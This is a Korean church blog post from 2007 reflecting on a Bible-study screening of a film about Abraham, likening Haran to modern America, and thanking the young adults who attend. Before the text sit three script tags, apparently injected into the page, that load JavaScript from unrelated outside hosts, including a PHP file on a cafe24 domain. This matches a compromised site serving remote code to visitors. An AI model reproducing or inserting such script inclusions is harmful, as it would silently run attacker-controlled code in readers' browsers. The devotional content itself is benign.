이 시대의 아브라함
김성민
일반
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2007.11.09 04:42
<SCRIPT Language=JavaScript src=http://jesusmylifechurch.org/bbs/data/c1/dkeumyoil.js></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>어제는 청년부 성경공부에서 “아브라함”이라는 성서영화를 보았다. 거의 3시간이나 되는 긴 영화이다. 길다고 생각되지만 3시간 안에 아브라함의 175년간의 인생여정을 다 닮기에는 역부족일 것이다.
영화는 갈대아지방 우르(남쪽)에서 떠나 갈대아지방 하란(북서쪽)에서 20여 년간 살면서 일구어 온 살림을 잘 경영하고 있는 것에서부터 출발한다. 아버지 데라와 동생 나홀, 그리고 나머지 모든 식구들은 하란에서의 삶을 만족해한다. 경제적인 부뿐만 아니라 그들이 그 땅에서 받아들인 문화(풍요의 신인 ‘센’을 섬기는 일)는 그들의 만족을 채우기에 충분하다. 하지만 유독 아브라함만은 알 수 없는 영적인 메마름으로 인해 고독하다. 자신이 이룩한 부와 그들이 의지하는 ‘센’은 오히려 그에게 허무와 갈증만을 더해 줄 뿐이다. 진정한 ‘신’은 어디에 있는가? 인간의 근본적인 목마름을 채워줄 그 어떤 것도 발견하지 못한 그는 갈증을 느끼게 하는 영혼의 샘물 주인이 있다는 것을 깨닫는다.
사실 그 당시의 문화권에서 이런 생각을 한다는 것은 너무나 바보스럽다. 그 전까지만 해도 여호와 하나님의 실체가 사람들 가운데 들어나지 않았다. 아브라함을 통해서 그들 가족과 후손들에게 알려졌기 때문이다. 엄청난 메가톤급의 믿음이 없이는 보이지 않고 누구도 경험하지 못한 그 하나님의 존재를 신뢰한다는 것은 불가능한 일이다. 아브라함에게 여호와 하나님께서 찾아오셔서 그와 언약을 맺으심으로 영혼의 샘물을 발견하게 된다. 찾는 자에게 하나님의 존재를 보여주셨고, 구하는 자에게 그의 은혜를 느끼게 했으며, 두드리는 자에게 그가 가야할 길을 열어주셨다. 하나님은 아브라함에게 모래와 같은 자손의 번성과, 젖과 꿀이 흐르는 땅, 그리고 축복의 근원으로서 그의 정체성을 약속하셨다.
미국이라는 나라가 아직 정착기에 있는 우리들에게는 아브라함이 거했던 하란과 같은 도시인 듯싶다. 비옥한 초생달 지역에 위치한 하란처럼 풍부한 천연자원과 무역업으로 발달한 상업 도시, 종교로부터 발생된 풍성한 문화 등 결국 갈대아 지역에서 발달한 거대한 제국인 앗시리아, 바벨론 같은 나라가 바로 미국이라고 생각된다. 이런 곳에서 영적인 것을 추구하며 살아간다는 것이 너무나도 바보스럽다. 명문대학에 대한 환상, 돈의 우상, 성적인 개방, 개인이기주의, 종교의 다양성, 등 심지어 같은 기독교 안에서도 다원주의현상과 혼합주의가 팽배할 정도로 모든 것이 보고 만질 수 있는 것에 사람들의 마음이 움직인다.
우리 청년들에게 감사한다. 모두가 직장인들이고 미래를 위해 한시의 틈도 없이 바쁘게 살아가야만 하는 삶인데도 수요일마다 그(성경공부) 시간이 되면 어김없이 꾸역꾸역 모여드는 이들이 정말 대견스럽고 고맙다. 이들에게 저와 제 아내가 할 수 있는 것은 그저 맛있는 밥 한끼라도 잘 대접하는 것 뿐일 것이다.
이들에게 하나님은 그의 플랜을 맡기지 않겠는가? 이 시대의 아브라함이다.